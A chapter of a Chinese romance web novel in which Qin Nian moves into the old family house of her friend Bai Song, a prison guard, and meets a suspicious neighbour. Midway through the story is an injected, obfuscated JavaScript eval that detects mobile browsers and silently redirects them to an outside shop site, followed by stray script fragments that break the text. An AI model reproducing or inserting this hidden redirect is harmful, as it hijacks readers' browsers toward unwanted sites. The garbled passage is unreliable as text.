秦念与白宋相识六年，对他的了解仅限于：知道他是陵川省江州市溯溪县人，毕业于双一流大学，法学硕士学位，研三的时候在红圈所实习过一年。
后来正值转正之际，父亲意外去世，他深受打击，便毅然决然辞去了律师工作。同年参加申城公务员考试，子承父业，跑到这山沟沟来当狱警了。
秦念去参观过他们的干警公寓，环境很不错。
可从没听说过他在这里还有别的房子啊。
她一路紧跟着他，沿着云村一条水泥路直走，来到位于白云街的邮政储蓄银行门口。
两层高的小楼，上面是几间职工宿舍，很老旧，应该没人居住了。下面的门头和大厅倒是很新，看得出近些年翻新整修过。
旁边有扇铁门。
秦念继续跟着白宋往里走，入眼的是一排红瓦老平房。她从右向左数过去，一共有五间，前面两间的木门已经破烂不堪，一脚就能给踹倒。
第三间安装着钢质防盗门。
白宋走到门口，掏出钥匙把门打开，里面居然是个餐厅。
摆放着一个餐边柜，一套餐桌椅，还有个老式绿色冰箱。桌上落了层薄薄的灰尘。
秦念有些摸不着头脑，“这里是……”
白宋没说话，又把后门给打开了。
——竟别有洞天！
是个院子。
长方形的小院儿，秦念扫一眼，就看清这是个什么样的格局了。
前后两排红瓦老平房，左右砌起两堵围墙，中间的部分就变成了院子。
院里有个开放式厨房，紧挨着餐厅这面墙。
“这里住起来很舒服。”白宋站在门口说：“如果不介意的话，可以借给你住。”
秦念持续性懵逼中，“介意什么？”
“房子主人已过世。”
“……你不是说这是你的房子？”
“这是我和我父母的家。”
秦念眨眨眼睛，没接话。
她认识白宋的时候，他母亲就已经过世了，在他上高三那年。
五年前父亲下水救人，也英勇牺牲，这些秦念都知道。
所以他口中房子主人，指的是他父母。
但她不知道的是，“你不是说你老家在溯溪县哪个农村吗？怎么这里也有家？”
“祖籍是那边的。”白宋转身走回餐厅，打开头顶的吊扇，拉开一把椅子坐下说：“我父亲当年是村里唯一的大学生，大学毕业后，机缘巧合下来到农场工作，在这里认识了我母亲。”
他伸手指指外面那栋小楼，“那个年代，这里还不叫邮政储蓄银行，叫邮电局。我母亲是里面的职工，这套房子是单位分给她的。”
秦念朝外看去。
小楼后面，也就是白宋家门前，一棵枝繁叶茂的桂花树安静地站在那儿，枝桠上挂了很多红色的许愿带和许愿牌。
这些秦念以前从来都没听白宋说过，立马也拉开一把椅子，在他旁边坐下，“那你岂不是场二代？”
“什么场二代？”
秦念：“转房子给我的郑女士说，云淮农场是上世纪五十年代建起来的，主要是为了收容申城那些没工作没户口的游民。到了六十年代中期，又开始大建劳改队收押犯人。因为他们是第一批在这里扎根的，所以叫场一代，然后子女是场二代，子女的子女就是场三代。”
白宋：“可以这么说，不过农场的历史比较复杂。我父母是八十年代末来到这边工作的。严格来说，他们不是场一代，我也不是场二代。”
行吧
确实有点复杂。
好在秦念对云淮的情况有所了解，在脑子里将信息整理整理，勉强也能听得懂。
*
坐着休息一小会儿，白宋带秦念去里屋转了一圈。
这两排红瓦老平房，前面一排比较窄，所以餐厅的面积不是很大。后面一排比较宽，开门进去是客厅，还维持着八九十年代的装修风格。
除了空调和电视机，其他所有物品现在在别处都很难见着了。
里面有个卧室。
跟客厅一样的装修风格，看着很温馨。
秦念问：“这里只有一个房间，你以前跟你爸妈住一起？”
“外面还有一个房间。”
“哪里？”
白宋又带着她来到院子里，指给她看。秦念这才注意到，在餐厅隔壁，确实还有一扇门，这里是白宋的房间。
内部陈设很简单，只有一张木床，一张书桌，一个小书架和一个衣柜。
正对着床的墙面上，密密麻麻地贴满了他学生时代的奖状。居然连幼儿园的都还完好保存着。
学霸不愧是学霸，一张奖状没拿过的秦念佩服得五体投地。
不过最让她羡慕的并不是这一点。
而是通过很多细节方面的东西，不难看出这曾是怎样幸福的一个三口之家。
“我很喜欢你家。”
秦念当即决定，“就把你这个房间和餐厅，还有小院子租给我吧。客厅和主卧我就不进去了。”
毕竟是他父母生活过的地方。
冒然打扰，似乎不太好。
“租就不用了。”钥匙串上有三把入户门的钥匙，白宋卸下其中一把递给秦念，“免费住，想住多久都可以。”
“那不行。”秦念果断拒绝。
虽然白宋这个人一向大方，而且很会照顾人，对身边亲友都好得没话说。但不该占的便宜，她绝不会占，“租金我肯定得给，就按一个月一千块钱算吧。”
这个世界上最难还的就是人情债。
能用钱解决的事情，她是不愿意欠人情的。
白宋了解她的性格。
表明了自己的态度，对方不愿意接受，也就无需勉强了。
“这个价格，再加几百你就可以去县城租个三室两厅了。非要给租金的话，一个月八十好了。水电费你自付。”
“八十？”秦念嘴角抽抽两下，“你这跟白给我住有什么区别？”
白宋却淡定道：“云村和淮村那些房子，一个月也就三十来块。这个转让房子给你的人应该告诉过你。”
秦念微怔。郑女士的确跟她说过，农场这些房子给居民们居住，一年的费用是三百八。
平均下来，每个月就是三十一块六，跟电费和水费一起交。
白宋拉开衣柜，积攒了多年的木脂浊气漫出来，不呛人，但很厚重陈旧。
像深埋在老房子墙缝里，风干多年的木料气息。
他说：“其实你住在这儿对我也有好处。”
秦念问：“什么好处？”
白宋又把窗户打开通风，“房子一直空着没人住，会失去人气，不利于保存。”
“你平时不会回来住吗？”
“偶尔。”
*
下午两人都没什么事，秦念提议要不将几间屋子来个大扫除，她想晚上就搬过来，白宋没意见。
擦桌子的时候，秦念在书桌下方的柜子里翻出一台录音机和几盘磁带。
心血来潮，她将录音机通上电，再随便拿盘磁带装进去，摁下播放键，居然真的还能用。
磁带转动发出细微的“咔哒”声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744497|209221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
悦耳的旋律从机身里飘出来，粗糙、厚重，没什么质感，却很有味道。
男歌手的嗓音也像是蒙着一层朦胧的白噪，温柔浅唱着：“默默爱慕，但未能向你倾吐。不敢抬头，两手里空空只得灰土……”
好巧。
居然是她男神的歌。
窗户有微风吹进来，窗帘随之轻轻晃动。
秦念把音量调大，一屁股坐在地上，想休息一会儿，听完这首歌。
歌声随着流动的空气飘出去，落进正在客厅搞卫生的白宋的耳朵里。
“情深可知到天荒地老，然而可以怎做。情路全是窄路弯路，我只好哼一句歌，来转告。”
“歌声之中愿给你知道，每串痴情每串真爱比天高。歌声之中愿给你知道，浓情和热爱怎么可以找到……”
他停下手中的活儿，转过头朝秦念的方向看去。
房间门敞开着，只能看到床尾，看不到她人。
就在这时，一个矮胖的老太太从餐厅走了进来，出声喊道：“是白宋回来啦？”
白宋随即站起身，走到门口，“章奶奶。”
章奶奶已经来到院子里，看着他，笑眯眯地说：“听到这边在放歌，就知道是你回来了。今天没上班？”
“今天休息。”
章奶奶四下环视一圈，“这房子有挺长时间没打扫了吧？”
“小半年了。”
“是该收拾收拾了。”
秦念听到说话声，趴在门框上看，白宋的目光落在她脸上，察觉到不对劲，章奶奶缓缓转过身。
猛地看见一个陌生小姑娘在白宋房间里，一张布满皱纹的脸骤然变了色。
白宋向秦念介绍道：“这是隔壁邻居，章奶奶。”
秦念跟她打招呼：“章奶奶好。”
章奶奶却没作声，问白宋：“这是哪个？”
白宋说：“朋友。”
章奶奶奇怪道：“哪里的朋友？怎么从来没见过。”
“申城来的。”
“哦……”章奶奶若有所思地又看了秦念一眼，“那你忙，我回去睡会儿。”
白宋点头，“您慢走。”
秦念从房间出来，扭头望向餐厅，确定老太太已经离开后，低声吐槽道：“这章奶奶也太没礼貌了。我跟她打招呼，理都不理我。”
“正常。”白宋走到厨房水槽边，拧开水龙头洗手。
秦念满脸疑惑地看向他，“哪里正常了？”
很快，白宋洗净双手。
侧过身，稍作停顿，意有所指地说：“她一直想让我当她孙女婿。”
“？”秦念心下一怔，细细琢磨着这句话。
片刻之后，恍然大悟道：“所以她这是把我当成她孙女的情敌了？”
“脑子转得还挺快。”
晚上，天色将暗未暗，一弯皎洁的月亮挂在山头，旁边还伴着一颗明亮的星星。
白宋开车帮秦念把行李驮过来，两人一起往屋里搬东西的时候，章奶奶就站在自家门口看着。
她穿着一身蓝色印花老年套装，手里拿着把蒲扇在慢悠悠地扇着风。
趁白宋进屋的间隙，脸上没什么表情地问秦念：“你以后就住在这里了？”
秦念抱着个纸箱子，里头装的是锅碗瓢盆，听到这话，脚步一滞，“对，他把房子租给我了。”
“租给你？”章奶奶的脸色稍稍好看了些，“跟你收房租了？”
“当然。”
秦念故意压低音量，伸出两根手指，“两千一个月，水电费也不包。还朋友呢，简直就是个周扒皮！”